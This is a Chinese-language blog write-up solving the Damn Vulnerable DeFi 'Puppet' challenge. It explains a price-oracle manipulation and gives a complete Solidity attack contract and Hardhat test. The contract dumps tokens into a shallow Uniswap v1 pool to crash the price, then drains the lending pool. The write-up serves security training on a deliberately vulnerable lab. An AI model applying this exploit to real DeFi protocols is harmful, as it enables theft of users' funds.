# Defi安全挑战系列-Damn Vulnerable DeFi(#8 Puppet)

By [skye](https://paragraph.com/@skye-3) · 2023-06-27

---

> 有一个借贷池，用户可以借出Damn Valuable Tokens (DVT)。为了这样做，他们首先需要以抵押品形式存入两倍于借款金额的以太币。该池子目前有100,000个DVT代币的流动性。
> 
> 在一个旧的Uniswap v1交易所中开设了一个DVT市场，目前有10个ETH和10个DVT的流动性。
> 
> 通过从借贷池中取走所有的代币来完成挑战。你的余额中有25个ETH和1,000个DVT代币。

[https://www.damnvulnerabledefi.xyz/challenges/puppet/](https://www.damnvulnerabledefi.xyz/challenges/puppet/)

### 分析合约

分析PuppetPool.sol发现，借贷比例是根据uniswap中ETH和token的比例确认的。如果直接使用25ETH只可以买25个DTV，无法满足题目要求消耗所有借贷池中所有DVT。分析发现uniswap池子中的流动性很“浅”，只有10个ETH加10个DVT。如果将1000个DVT全部卖掉，DVT的价格会显著降低，只需要20个ETH左右就可以购买所有的100000。

### 解决方案

创建PuppetPoolAttack.sol

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
    import "@openzeppelin/contracts/utils/Address.sol";
    import {DamnValuableToken} from "../DamnValuableToken.sol";
    import {PuppetPool} from "./PuppetPool.sol";
    import "hardhat/console.sol";
    import {IUniswapExchange} from "./IUniswapExchange.sol";
    
    contract PuppetPoolAttack {
        PuppetPool public puppetPool;
        DamnValuableToken public damnValuableToken;
        IUniswapExchange public uniswapV1Exchange;
    
        constructor(
            address puppetPoolAddress,
            address uniswapExchangeAddress
        ) payable {
            puppetPool = PuppetPool(puppetPoolAddress);
            damnValuableToken = DamnValuableToken(puppetPool.token());
            uniswapV1Exchange = IUniswapExchange(uniswapExchangeAddress);
        }
    
        function attack() public {
            uint256 attackTokenAmount = damnValuableToken.balanceOf(address(this));
    
            damnValuableToken.approve(
                address(uniswapV1Exchange),
                attackTokenAmount
            );
    
            uniswapV1Exchange.tokenToEthSwapInput(
                attackTokenAmount,
                1,
                block.timestamp + 5000
            );
    
            uint256 puppetPoolTokenAmount = damnValuableToken.balanceOf(
                address(puppetPool)
            );
    
            uint256 depositRequired = puppetPool.calculateDepositRequired(
                puppetPoolTokenAmount
            );
    
            puppetPool.borrow{value: depositRequired}(
                puppetPoolTokenAmount,
                msg.sender
            );
        }
    
        receive() external payable {}
    }
    

puppet.challenge.js

    
        it('Execution', async function () {
            /** CODE YOUR SOLUTION HERE */
    
            const attackFoctory = await ethers.getContractFactory("PuppetPoolAttack");
            const attackContracts = await attackFoctory.deploy(
                lendingPool.address,
                uniswapExchange.address, {
                    value: PLAYER_INITIAL_ETH_BALANCE
                }
            );
    
            await token.connect(player).transfer(
                attackContracts.address,
                PLAYER_INITIAL_TOKEN_BALANCE
            );
            await attackContracts.connect(player).attack();
        });

---

*Originally published on [skye](https://paragraph.com/@skye-3/defi-damn-vulnerable-defi-8-puppet)*
